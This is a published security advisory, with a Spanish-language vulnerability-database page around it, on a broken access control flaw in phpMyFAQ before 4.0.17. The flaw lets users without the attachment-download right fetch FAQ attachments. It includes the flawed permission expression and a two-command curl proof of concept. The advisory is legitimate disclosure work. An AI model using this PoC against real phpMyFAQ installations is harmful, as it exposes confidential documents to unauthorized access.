phpMyFAQ: Attachment download allowed without dlattachment right (broken access control)
Summary
A logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.
Details
In attachment.php, the access decision uses:
($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])
isset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.
PoC
Precondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false. Log in as a non‑admin user without dlattachment. Request the attachment download endpoint.
curl -c /tmp/pmf_api_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"tester","password":"Test1234!"}' \
http://192.168.40.16/phpmyfaq/api/v3.0/login
curl -i -b /tmp/pmf_api_cookies.txt \
"http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1"Impact
Unauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | phpmyfaq/phpmyfaq | < 4.0.17 | 4.0.17 |
| Paquete de Composer | thorsten/phpmyfaq | < 4.0.17 | 4.0.17 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N- Debilidad (CWE)
CWE-284- Plataforma
- Composer
- Paquete
phpmyfaq/phpmyfaq, thorsten/phpmyfaq- Publicada
- 23.01.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-7p9h-m7m8-vhhv - CC BY 4.0
Historial de vulnerabilidades: phpmyfaq/phpmyfaq
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 47
- Primera → última
- 10.2022 09.2026
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 18
- Media 25
- Baja 2
Divulgaciones por año
- 2022: 1
- 2023: 0
- 2024: 11
- 2025: 3
- 2026: 32
-
phpMyFAQ: Attachment download allowed without dlattachment right (broken access control) esta entrada
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